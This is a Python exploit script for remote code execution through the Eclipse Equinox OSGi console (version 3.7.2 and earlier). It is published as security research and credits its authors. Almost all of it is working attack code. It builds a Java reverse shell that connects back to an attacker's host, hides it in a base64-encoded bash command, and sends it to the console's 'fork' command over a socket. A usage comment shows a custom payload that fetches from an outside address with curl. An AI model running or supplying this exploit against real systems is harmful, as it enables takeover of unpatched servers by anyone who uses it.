#!/usr/bin/python
# Exploit Title: [OSGi v3.7.2 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
# VisionSpace Technologies GmbH]
# Exploit Repository:
# [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.7.2 and before]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Examples:
# python exploit.py --rhost=localhost --rport=1337 --lhost=localhost \
# --lport=4444
#
# python exploit.py --rhost=localhost --rport=1337 --payload= \
# "curl http://192.168.100.100/osgi_test"
"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.7.2 and earlier.
"""
import argparse
import base64
import socket
def parse():
"""
This fnction is used to parse and return command-line arguments.
"""
parser = argparse.ArgumentParser(
prog="OSGi-3.7.2-console-RCE",
description="This tool will let you open a reverse shell from the "
"system that is running OSGi with the '-console' "
"option in version 3.7.2 (or before).",
epilog="Happy Hacking! :)",
)
parser.add_argument("--rhost", dest="rhost",
help="remote host", type=str, required=True)
parser.add_argument("--rport", dest="rport",
help="remote port", type=int, required=True)
parser.add_argument("--lhost", dest="lhost",
help="local host", type=str, required=False)
parser.add_argument("--lport", dest="lport",
help="local port", type=int, required=False)
parser.add_argument("--payload", dest="custom_payload",
help="custom payload", type=str, required=False)
parser.add_argument("--version", action="version",
version="%(prog)s 0.1.0")
args = parser.parse_args()
if args.custom_payload and (args.lhost or args.lport):
parser.error(
"either --payload or both --lport and --rport are required.")
return args
def generate_payload(lhost, lport, custom_payload):
"""
This function generates the whole payload ready for the delivery.
"""
payload = ""
if custom_payload:
payload = custom_payload
print("(*) Using custom payload.")
elif lhost and lport:
payload = \
"echo 'import java.io.IOException;import java.io.InputStream;" \
"import java.io.OutputStream;import java.net.Socket;class Rev" \
"Shell {public static void main(String[] args) throws Excepti" \
"on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces" \
"s p=new ProcessBuilder(cmd).redirectErrorStream(true).start(" \
");Socket s=new Socket(host,port);InputStream pi=p.getInputSt" \
"ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt" \
"ream po=p.getOutputStream(), so=s.getOutputStream();while(!s" \
".isClosed()){while(pi.available()>0)so.write(pi.read());whil" \
"e(pe.available()>0)so.write(pe.read());while(si.available()>" \
"0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)" \
";try {p.exitValue();break;}catch (Exception e){}};p.destroy(" \
");s.close();}}' > RevShell.java ; java ./RevShell.java" % (
lhost, lport)
print("(+) Using Java reverse shell payload.")
bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % (
base64.b64encode(payload.encode()))
wrapped_payload = b"fork \"%s\"\n" % (bash_payload)
return wrapped_payload
def deliver_payload(rhost, rport, payload):
"""
This function connects to the target host and delivers the payload.
It returns True if successful; False otherwise.
"""
print("(*) Sending payload...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((rhost, rport))
sock.send(payload)
sock.close()
except socket.error as err:
print(f"(-) Could not deliver the payload to {rhost}:{rport}!")
print(err)
return False
return True
def main(args):
"""
Main function.
"""
payload = generate_payload(args.lhost, args.lport, args.custom_payload)
success = deliver_payload(args.rhost, args.rport, payload)
if success:
print("(+) Done.")
else:
print("(-) Finished with errors.")
if __name__ == "__main__":
main(parse())
